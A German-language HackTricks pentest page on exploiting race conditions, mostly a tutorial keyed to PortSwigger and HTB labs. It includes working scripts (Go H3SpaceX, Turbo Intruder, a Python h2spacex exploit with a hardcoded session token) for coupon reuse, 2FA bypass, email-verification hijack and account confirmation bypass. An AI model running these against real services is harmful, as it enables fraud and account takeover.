Race Condition
Reading time: 18 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
warning
Für ein tiefes Verständnis dieser Technik lesen Sie den Original-Report unter https://portswigger.net/research/smashing-the-state-machine
Verbesserung von Race Condition-Angriffen
Die größte Hürde beim Ausnutzen von race conditions ist sicherzustellen, dass mehrere Requests gleichzeitig verarbeitet werden, mit sehr geringen Unterschieden in ihren Verarbeitungszeiten — idealerweise weniger als 1ms.
Hier finden Sie einige Techniken zum Synchronisieren von Requests:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Unterstützt das Senden von zwei Requests über eine einzige TCP-Verbindung und reduziert so den Einfluss von Netzwerkjitter. Aufgrund serverseitiger Unterschiede reichen zwei Requests jedoch möglicherweise nicht für einen konsistenten race condition-Exploit aus.
- HTTP/1.1 'Last-Byte Sync': Ermöglicht das Vorversenden der meisten Teile von 20–30 Requests, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird, sodass die Anfragen gleichzeitig beim Server eintreffen.
Vorbereitung für Last-Byte Sync umfasst:
- Senden von headers und body data abzüglich des letzten Bytes, ohne den Stream zu beenden.
- 100ms Pause nach dem ersten Senden.
- Deaktivieren von TCP_NODELAY, um Nagle's algorithm zur Bündelung der finalen Frames zu nutzen.
- Pingen, um die Verbindung aufzuwärmen.
Das anschließende Senden der zurückgehaltenen Frames sollte dazu führen, dass sie in einem einzelnen Paket ankommen — nachprüfbar mit Wireshark. Diese Methode gilt nicht für statische Dateien, die typischerweise nicht an RC-Angriffen beteiligt sind.
HTTP/3 Last‑Frame Synchronization (QUIC)
- Konzept: HTTP/3 läuft über QUIC (UDP). Es gibt kein TCP-Coalescing oder Nagle, auf das man sich verlassen könnte, daher funktioniert das klassische Last‑Byte Sync mit Standard-Clients nicht. Stattdessen muss man mehrere QUIC stream‑final DATA-Frames (FIN) gezielt in dasselbe UDP-Datagramm zusammenfassen, damit der Server alle Ziel-Requests im selben Scheduling-Tick verarbeitet.
- Wie man es macht: Verwenden Sie eine speziell entwickelte Bibliothek, die QUIC-Frame-Kontrolle exposes. Zum Beispiel manipuliert H3SpaceX quic-go, um HTTP/3 last‑frame synchronization sowohl für requests mit Body als auch für GET‑artige requests ohne Body zu implementieren.
- Requests‑with‑body: Senden Sie HEADERS + DATA abzüglich des letzten Bytes für N Streams, und flushen Sie dann das letzte Byte jedes Streams gemeinsam.
- GET‑style: Konstruieren Sie gefälschte DATA-Frames (oder einen winzigen Body mit Content‑Length) und beenden Sie alle Streams in einem Datagramm.
- Praktische Grenzen:
- Die Concurrency wird durch den max_streams-Transport-Parameter des Peers begrenzt (ähnlich HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Ist dieser Wert niedrig, öffnen Sie mehrere H3-Verbindungen und verteilen Sie das Rennen darauf.
- UDP-Datagrammgröße und Path-MTU begrenzen, wie viele stream‑final Frames Sie zusammenfassen können. Die Bibliothek kann bei Bedarf in mehrere Datagrams aufteilen, aber ein Single‑Datagram-Flush ist am zuverlässigsten.
- Praxis: Es gibt öffentliche H2/H3 Race-Labs und Beispiel-Exploits, die H3SpaceX begleiten.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Anpassung an die Serverarchitektur
Das Verständnis der Zielarchitektur ist entscheidend. Frontend-Server leiten Anfragen möglicherweise unterschiedlich weiter, was das Timing beeinflusst. Serverseitiges Vorwärmen von Verbindungen durch belanglose Anfragen kann das Anfrage-Timing normalisieren.
Umgang mit sitzungsbasierten Sperren
Frameworks wie PHPs session handler serialisieren Anfragen pro Session, was Schwachstellen verschleiern kann. Die Verwendung unterschiedlicher Session-Tokens für jede Anfrage kann dieses Problem umgehen.
Überwinden von Rate- oder Ressourcenlimits
Wenn Connection Warming nicht effektiv ist, kann das gezielte Auslösen von Rate- oder Ressourcenlimit-Verzögerungen des Webservers durch eine Flut von Dummy-Anfragen den single-packet attack erleichtern, indem serverseitig eine Verzögerung erzeugt wird, die Race Conditions begünstigt.
Angriffsbeispiele
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Du kannst die Anfrage an Turbo intruder senden (
Extensions->Turbo Intruder->Send to Turbo Intruder), du kannst im Request den Wert ändern, den du brute forcen willst für%swie incsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%sund dannexamples/race-single-packer-attack.pyaus dem Drop-down auswählen:
.png)
Wenn du verschiedene Werte senden möchtest, könntest du den Code mit diesem Beispiel ersetzen, das eine wordlist aus der Zwischenablage verwendet:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Wenn die Web-Anwendung HTTP2 nicht unterstützt (nur HTTP1.1), verwende Engine.THREADED oder Engine.BURP statt Engine.BURP2.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Falls du eine Anfrage an 1 endpoint senden musst und danach mehrere an andere endpoints, um die RCE auszulösen, kannst du das Skript
race-single-packet-attack.pywie folgt ändern:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Es ist auch in Repeater über die neue Option 'Send group in parallel' in Burp Suite verfügbar.
- Für limit-overrun könntest du einfach die gleiche Anfrage 50 Mal in die Gruppe hinzufügen.
- Für connection warming könntest du am Anfang der Gruppe einige Anfragen an einen nicht statischen Teil des Webservers hinzufügen.
- Um den Prozess zwischen der Verarbeitung einer Anfrage und einer anderen in einem 2-Substate-Schritt zu verzögern, könntest du zusätzliche Anfragen zwischen beiden Anfragen einfügen.
- Für ein multi-endpoint RC könntest du damit beginnen, die Anfrage zu senden, die in den versteckten Zustand übergeht, und dann unmittelbar danach 50 Anfragen, die den versteckten Zustand ausnutzen.
.png)
- Automatisiertes python-Skript: Das Ziel dieses Skripts ist es, die E-Mail eines Nutzers zu ändern, während es kontinuierlich verifiziert, bis der Verifizierungstoken der neuen E-Mail in der letzten E-Mail ankommt (dies liegt daran, dass im Code eine RC beobachtet wurde, bei der es möglich war, eine E-Mail zu ändern, aber die Verifikation an die alte E-Mail gesendet wurde, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).
Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Verifizierungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: Hinweise zu Engine und Gating
- Engine-Auswahl: Verwende
Engine.BURP2bei HTTP/2-Zielen, um den single‑packet attack auszulösen; weiche für HTTP/1.1 last‑byte sync aufEngine.THREADEDoderEngine.BURPzurück. gate/openGate: stelle viele Kopien mitgate='race1'(oder pro Versuch eigene Gates) in die Warteschlange, welche den tail jeder Anfrage zurückhalten;openGate('race1')spült alle tails zusammen, sodass sie nahezu gleichzeitig ankommen.- Diagnostik: Negative Zeitstempel in Turbo Intruder zeigen an, dass der Server geantwortet hat, bevor die Anfrage vollständig gesendet wurde — ein Beweis für Überlappung. Das ist bei echten races zu erwarten.
- Connection warming: Sende zuerst ein ping oder ein paar harmlose Requests, um die Timings zu stabilisieren; optional
TCP_NODELAYdeaktivieren, um das Batching der finalen Frames zu begünstigen.
Verbesserung der Single Packet Attack
In der Originalforschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. Allerdings wurde in this post beschrieben, wie es möglich ist, die 1.500-Byte-Beschränkung des single packet attack auf die 65,535 B window limitation of TCP by using IP layer fragmentation zu erweitern (Aufteilen eines einzelnen Pakets in mehrere IP‑Pakete) und diese in unterschiedlicher Reihenfolge zu senden, wodurch das Reassemblieren des Pakets verhindert wird, bis alle Fragmente beim Server eingetroffen sind. Mit dieser Technik konnte der Forscher etwa 10.000 Requests in rund 166 ms senden.
Beachte, dass diese Verbesserung den Angriff zwar in RCs zuverlässiger macht, die Hunderte/Tausende von Paketen gleichzeitig benötigen, sie aber auch Software‑Beschränkungen treffen kann. Einige verbreitete HTTP-Server wie Apache, Nginx und Go haben eine strikte Einstellung SETTINGS_MAX_CONCURRENT_STREAMS auf 100, 128 bzw. 250. Andere wie NodeJS und nghttp2 haben diese Grenze jedoch nicht.
Das bedeutet im Grunde, dass Apache nur 100 HTTP-Streams/Connections pro einzelner TCP-Verbindung berücksichtigt (was diesen RC-Angriff einschränkt). Für HTTP/3 ist das analoge Limit das QUIC‑Transport‑Parameter max_streams – ist es klein, verteile deinen race über mehrere QUIC-Verbindungen.
Du findest einige Beispiele für diese Technik im Repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Vor der genannten Forschung wurden folgende Payloads benutzt, die einfach versuchten, die Pakete so schnell wie möglich zu senden, um eine RC zu erzeugen.
- Repeater: Check the examples from the previous section.
- Intruder: Sende die request an Intruder, setze die number of threads auf 30 im Options menu and, wähle als Payload Null payloads und generiere 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodik
Limit-overrun / TOCTOU
Dies ist der grundlegendste Typ einer race condition, bei der vulnerabilities an Stellen auftreten, die die Anzahl der Ausführungen einer Aktion beschränken. Zum Beispiel die mehrfache Verwendung desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel findet sich in this report oder in this bug.
Es gibt viele Variationen dieses Angriffs, darunter:
- Mehrfaches Einlösen einer Geschenkkarte
- Mehrfaches Bewerten eines Produkts
- Abheben oder Überweisen von Geld über das Kontoguthaben hinaus
- Wiederverwendung einer einzelnen CAPTCHA-Lösung
- Umgehen eines Anti-Brute-Force-Rate-Limits
Hidden substates
Das Ausnutzen komplexer race conditions beinhaltet oft, kurzfristige Möglichkeiten zu nutzen, um mit verborgenen oder unintended machine substates zu interagieren. So gehst du vor:
- Identify Potential Hidden Substates
- Beginne damit, Endpunkte zu identifizieren, die kritische Daten verändern oder damit interagieren, wie Benutzerprofile oder password reset processes. Konzentriere dich auf:
- Storage: Bevorzuge Endpunkte, die server-side persistente Daten manipulieren, gegenüber denen, die Daten client-side verarbeiten.
- Action: Suche nach Operationen, die bestehende Daten ändern — diese erzeugen eher ausnutzbare Zustände als solche, die neue Daten hinzufügen.
- Keying: Erfolgreiche Angriffe betreffen meist Operationen, die auf denselben Bezeichner keyed sind, z. B. username oder reset token.
- Conduct Initial Probing
- Teste die identifizierten Endpunkte mit race condition-Angriffen und beobachte Abweichungen vom erwarteten Verhalten. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine vulnerability hinweisen.
- Demonstrate the Vulnerability
- Fokussiere den Angriff auf die minimal erforderliche Anzahl von Requests, oft nur zwei. Aufgrund des präzisen Timings sind dafür möglicherweise mehrere Versuche oder Automation nötig.
Time Sensitive Attacks
Präzises Timing von Requests kann vulnerabilities aufdecken, besonders wenn vorhersehbare Methoden wie Timestamps für Sicherheits- tokens verwendet werden. Beispielsweise kann die Generierung von password reset tokens auf Basis von Timestamps identische Tokens für gleichzeitige Requests ermöglichen.
To Exploit:
- Verwende präzises Timing, z. B. einen single packet attack, um gleichzeitige password reset requests zu senden. Identische tokens deuten auf eine vulnerability hin.
Example:
- Fordere zwei password reset tokens gleichzeitig an und vergleiche sie. Übereinstimmende tokens deuten auf einen Fehler in der Token-Generierung hin.
Check this PortSwigger Lab to try this.
Hidden substates case studies
Pay & add an Item
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.
Confirm other emails
Die Idee ist, eine E-Mail-Adresse zu verifizieren und sie gleichzeitig auf eine andere zu ändern, um herauszufinden, ob die Plattform die neue Adresse verifiziert.
Change email to 2 emails addresses Cookie based
Laut this research war Gitlab auf diese Weise für eine Übernahme verwundbar, weil es möglicherweise den email verification token der einen Adresse an die andere Adresse sendet.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
Wenn zwei unterschiedliche Writes verwendet werden, um Informationen in eine Datenbank zu schreiben, gibt es einen kurzen Zeitraum, in dem nur die erste Information bereits in der Datenbank steht. Zum Beispiel können beim Erstellen eines Benutzers der username und das password geschrieben werden und erst danach der token, um das neu erstellte Konto zu bestätigen. Das bedeutet, dass für einen kurzen Moment der token zur Bestätigung eines Kontos null ist.
Daher kann das Registrieren eines Accounts und das unmittelbare Senden mehrerer Requests mit einem leeren token (token= oder token[]= oder jede andere Variation) zur Bestätigung des Accounts erlauben, dass du einen Account bestätigst, dessen E-Mail du nicht kontrollierst.
Check this PortSwigger Lab to try this.
Bypass 2FA
Der folgende pseudo-code ist anfällig für race condition, weil in einem sehr kurzen Zeitraum die 2FA is not enforced während die Session erstellt wird:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 dauerhafte Persistenz
There are several OAUth providers. Diese Dienste erlauben es, eine Anwendung zu erstellen und Nutzer zu authentifizieren, die beim Provider registriert sind. Um dies zu tun, muss der Client Ihrer Anwendung erlauben, auf einige ihrer Daten beim OAUth provider zuzugreifen.
Bis hierhin also ein ganz normales Login mit google/linkedin/github..., bei dem Ihnen eine Seite angezeigt wird mit der Aufforderung: "Anwendung
Race Condition bei authorization_code
Das Problem tritt auf, wenn Sie es akzeptieren und automatisch ein authorization_code an die bösartige Anwendung gesendet wird. Danach missbraucht diese Anwendung eine Race Condition im OAUth service provider, um mehrere AT/RT (Authentication Token/Refresh Token) aus dem authorization_code für Ihr Konto zu generieren. Im Grunde nutzt sie die Tatsache aus, dass Sie der Anwendung Zugriff auf Ihre Daten gewährt haben, um mehrere Accounts zu erstellen. Wenn Sie der Anwendung später den Zugriff entziehen, wird ein Paar AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.
Race Condition bei Refresh Token
Sobald Sie einen gültigen RT erhalten haben, können Sie versuchen, diesen auszunutzen, um mehrere AT/RT zu erzeugen, und selbst wenn der Nutzer die Berechtigungen für die bösartige Anwendung widerruft, bleiben mehrere RTs weiterhin gültig.
RC in WebSockets
- In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
- With Burp’s WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune
config()(thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See RaceConditionExample.py.
Referenzen
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder – GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 last‑frame sync) – Go package docs
- PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks